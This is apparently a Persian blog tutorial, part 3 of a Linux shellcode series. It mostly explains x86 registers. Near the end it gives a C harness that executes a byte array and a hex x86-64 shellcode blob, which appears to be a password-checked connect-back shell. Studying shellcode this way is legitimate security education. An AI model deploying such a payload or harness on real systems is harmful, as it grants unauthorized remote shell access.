برای طرح سوال و دسترسی به آموزش ها  کانال ما در تلگرام بپویندید  

Shellcode نویسی در لینوکس بخش ۳

به نام دانای بر حق

پیرو آموزش های بخش اول و دوم shell code نویسی در لینوکس یه خرده از بحث مبتدی خارج شده و کمی تولید علم در زبان پارسی در این مورد می کنیم نظر به این نکته که شل کد ها معمولا کد ماشین هستند ما کمی از مباحث پایه خارج میشویم و در این مورد بیشتر بحث می کنیم ، البته اگر خسته نشید : )

 

کمی در مورد ساختار سخت افزار ، زبان ماشین و اسمبلی

ابتدا من از سخت افزار و ساختار cpu به طور مختصر و مفید بگم،هم ما فک میکنیم CPU زبون نفهم هست هم CPU بلا نسبت شخص شخیص شما همچین فکری میکنه 😀 به تصویر زیر توجه کنید:

 

chart cpu

خب این رابطه معادله مثل ترازو هست مشخص هستش که هر چی بیشتر زبان برای ما خوش آیند تر میشه برای پردازنده  نا خوشایند میشود و همین نسبت عکسش هم برقرار هستش خب بهترین حالت شلکد نوشته شدن در پایین ترین قسمت تصویر بالا هستش و حالا یه خرده بیشتر در مورد CPU  یا همون پردازنده صحبت کنیم تا برسیم به اصل داستان:

درباره پردازنده و ثبات ها

موضوعی رو که الان دارم بیان می کنم شاید خودم تو ۱۰۰ تا مقاله خونده باشم، تو ۱۰ تای اول فحش دادم سرسری رد شدم گفتم شما هم گریه ما رو در آوردید اینقدر گفتید این موضوع رو و میگفتم اگر خودم یه روزی کتابی مقاله ای بنویسم اینو نمیگم ولی اینقدر اهمیتش زیاده کهع من هم مجبور هم بگم ولی به زبان ساده کاربردی میگم از نظر آکادمیک ثبات ها یا همون ریجستر ها به دو قسمت تقسیم میشم ولی من دو دسته اش میکنم: ( x86 – 32bit)

  1. کاربردی اونایی که دسترسی مستقیم برنامه نویس داره: EAX, EBX, ECX, EDX, ESI, EDI
  2. غیر کاربردی اونایی که خوده پزدازنده بهش دسترسی داره شما فقط در دیباگر میتونین تماشاش کنید: ESP, EIP, EBP , …

خب ببنید هر کدوم این رجیستر های بخش دوم رو که نمیتونید هیچ کاری کنید ولی بخش اول رو هر جا دوست داشته باشید میتونید استفاده کنید ولی یه استاندارد براش در نظر گرفته شده که ازش تبعیت کنید بهتر هستش، اگر این استاندارد ها رو خوب بلد باشید تو یه کد دیس اسبمل شده که با شما حرف میزنه و کاملا میتونید تحلیلش کنید کاربردهاشون :

EAX Accumulator Register همه منظوره ترین ثبات است و معمولا برای هر کاری از جمله عملیات ورودی/خروجی،رشته ای و محاسباتی به کار می رود از ۳ جزء AX, AH, AL تشکیل شده است که بیشتر توضیح میدم
EBX Base Register تنها ثباتی که می تواند بعنوان ایندکس در آدرس دهی مورد استفاده قرار می گیرد. شامل ۳ قسمتBX BL و BH است
ECX Count Register بعنوان شمارنده در کنترل تعداد دفعات تکرار در دستور حلقه استفاده می شود. دارای ۳ قسمتCX CL و CH است
EDX Data Register در اعمال ورودی/خروجی و عملیات ضرب و تقسیم استفاده می شود. دارای ۳ بخشDX DL و DH است

و ثابت های ایندکس:

ESI Source Index برای آدرس دهی و در عملیات رشته ای بعنوان مبدا استفاه می شود
EDI Destination Index برای آدرس دهی و در عملیات رشته ای بعنوان مقصد استفاه می شود

 

خب برای این تقسیم بندی ها به شکل زیر توجه کنید:

intel-regsحالا توضیح مختصر ثبات ۳۲ بیت جا داره و کل ۳۲ بیت میشه EAX مثلا و ۱۶ بیت سمت راست میشه AX مثلا و ۸ بیت راست میشه AL  و ۸بیت سمت چپ همین AL میشه AH به تصویر زیر دقت کنید:

redefined_registers

الان این مقادیر کاملا براتون جا افتادش، اگه نه اینقدر بخونین تا متوجه شید چون اینا رو متوجه نشده خوندن ادامه این مقاله فایده ای نداره.

 

نوشتن شل کد در بخش نهایی

خب پس ما باید شلکد رو باید به زبان ماشین بنویسم طبق آنچه در بالا به رنگ بنفش نوشتیم، مراجعه کنیم به این قسمت خب ما فرض رو میگیریم کد ماشین تولید شده میخوایم اون رو کد نویسی کنیم نیاز مند به gcc دارم حتما روی لینوکس شما هست نگردید دنبالش:

/*shellprogram.c  * / 
char code[] = "Insert your shellcode here"; 
int main(int argc, char **argv) //execution begins here 
{ 
int (*exeshell)(); //exeshell is a function pointer 
exeshell = (int (*)()) code; //exeshell points to our shellcode 
(int)(*exeshell)();
//execute as function code[] 
}

شل کد شما مثلا یک کد hex این شکلی هستش:

\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x48\x31\xc0\x50\xbb\x80\xff\xff\xfe\xf7\xd3\x89\x5c\x24\xfc\x48\x83\xec\x04\x4d\x31\xc9\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x54\x5e\x48\x31\xc0\x0f\x05\x68\x68\x61\x63\x6b\x58\x48\x8d\x3e\xaf\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7

که در کد بالا باید جای Insert your shellcode here قرار دهید پس بعد طبق آموزش ۱ همین بخش کامپایل و اجرا کنیم.

 

این قسمت برای این که طولانی شد بقیه ماجرا که میشه کد نویسی و بهینه سازی یک شل کده فوق العاده ساده رو با هم پیش میریم پس در آموزش بخش ۴ منتظرتون هستیم.


انتشار

در

, ,

توسط

برچسب‌ها:

نظرات

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *